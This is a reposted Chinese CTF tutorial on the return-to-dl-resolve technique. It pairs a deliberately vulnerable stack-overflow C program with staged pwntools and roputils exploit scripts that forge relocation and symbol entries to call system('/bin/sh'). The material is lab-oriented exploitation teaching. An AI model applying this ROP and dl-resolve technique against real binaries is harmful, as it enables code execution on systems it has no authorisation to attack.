Return-to-dl-resolve

Posted bgod

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Return-to-dl-resolve相关的知识,希望对你有一定的参考价值。


title: Return-to-dl-resolve
date: 2018-02-21 20:06:58
categories: 栈溢出
tags:
- CTF
- PWN
- 栈溢出


本文介绍通过return-to-dl-resolve的手法绕过NX和ASLR的限制。

参考文章

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
http://pwdme.cc/2017/09/26/lazy-binding-in-detail/
http://mutepig.club/index.php/archives/53/
http://rk700.github.io/2015/08/09/return-to-dl-resolve/

相关的基础知识大佬们的文章讲的很清楚了, 这里简单的记录一下。

这里构造一个存在栈缓冲区漏洞的程序,以方便后续构造ROP链。

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

编译:

$ gcc -o bof -m32 -fno-stack-protector bof.c

漏洞利用方式

  1. 控制eip为PLT[0]的地址,只需传递一个index_arg参数
  2. 控制index_arg的大小,使reloc的位置落在可控地址内
  3. 伪造reloc的内容,使sym落在可控地址内
  4. 伪造sym的内容,使name落在可控地址内
  5. 伪造name为任意库函数,如system

stage1

我们先写一个ROP链,直到返回到[email protected]

#!/usr/bin/python

from pwn import *
elf = ELF(‘bof‘)
offset = 112
read_plt = elf.plt[‘read‘]
write_plt = elf.plt[‘write‘]

ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process(‘./bof‘)

r.recvuntil(‘Welcome to XDCTF2015~!\n)
payload = ‘A‘ * offset 
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"

payload2 = ‘AAAA‘ # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt) 
payload2 += ‘AAAA‘
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += ‘A‘ * (80 - len(payload2))
payload2 += cmd + \x00
payload2 += ‘A‘ * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage2

这次控制eip返回PLT[0],要带上write的index_offset。这里修改一下payload2

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20 # write‘s index

payload2 = ‘AAAA‘
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += ‘AAAA‘
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += ‘A‘ * (80 - len(payload2))
payload2 += cmd + \x00
payload2 += ‘A‘ * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage3

这次控制index_offset,使其指向我们构造的fake_reloc

cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got[‘write‘]
r_info = 0x607 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = ‘AAAA‘
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += ‘AAAA‘
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += ‘A‘ * (80 - len(payload2))
payload2 += cmd + \x00
payload2 += ‘A‘ * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage4

这一次构造fake_sym,使其指向我们控制的st_name

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got[‘write‘]
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = ‘AAAA‘
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += ‘AAAA‘
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += ‘B‘ * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += ‘A‘ * (80 - len(payload2))
payload2 += cmd + \x00
payload2 += ‘A‘ * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage5

把st_name指向输入的字符串”write”

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got[‘write‘]
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = ‘AAAA‘
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += ‘AAAA‘
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += ‘B‘ * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += ‘A‘ * (80 - len(payload2))
payload2 += cmd + \x00
payload2 += ‘A‘ * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage6

替换write为system,并修改system的参数

cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got[‘write‘]
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7   
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr     # +10 即 payload2中的偏移, st_name 偏移
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = ‘AAAA‘
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += ‘AAAA‘
payload2 += p32(base_stage + 80)
payload2 += ‘aaaa‘
payload2 += ‘aaaa‘
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += ‘B‘ * align  
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += ‘A‘ * (80 - len(payload2))
payload2 += cmd + \x00
payload2 += ‘A‘ * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

工具 roputils

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process(‘./main‘)
context.log_level = ‘debug‘
r.recv()

rop = ROP(‘./main‘)
offset = 112
bss_base = rop.section(‘.bss‘)
buf = rop.fill(offset)

buf += rop.call(‘read‘, 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string(‘/bin/sh‘)
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, ‘system‘)
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

以上是关于Return-to-dl-resolve的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数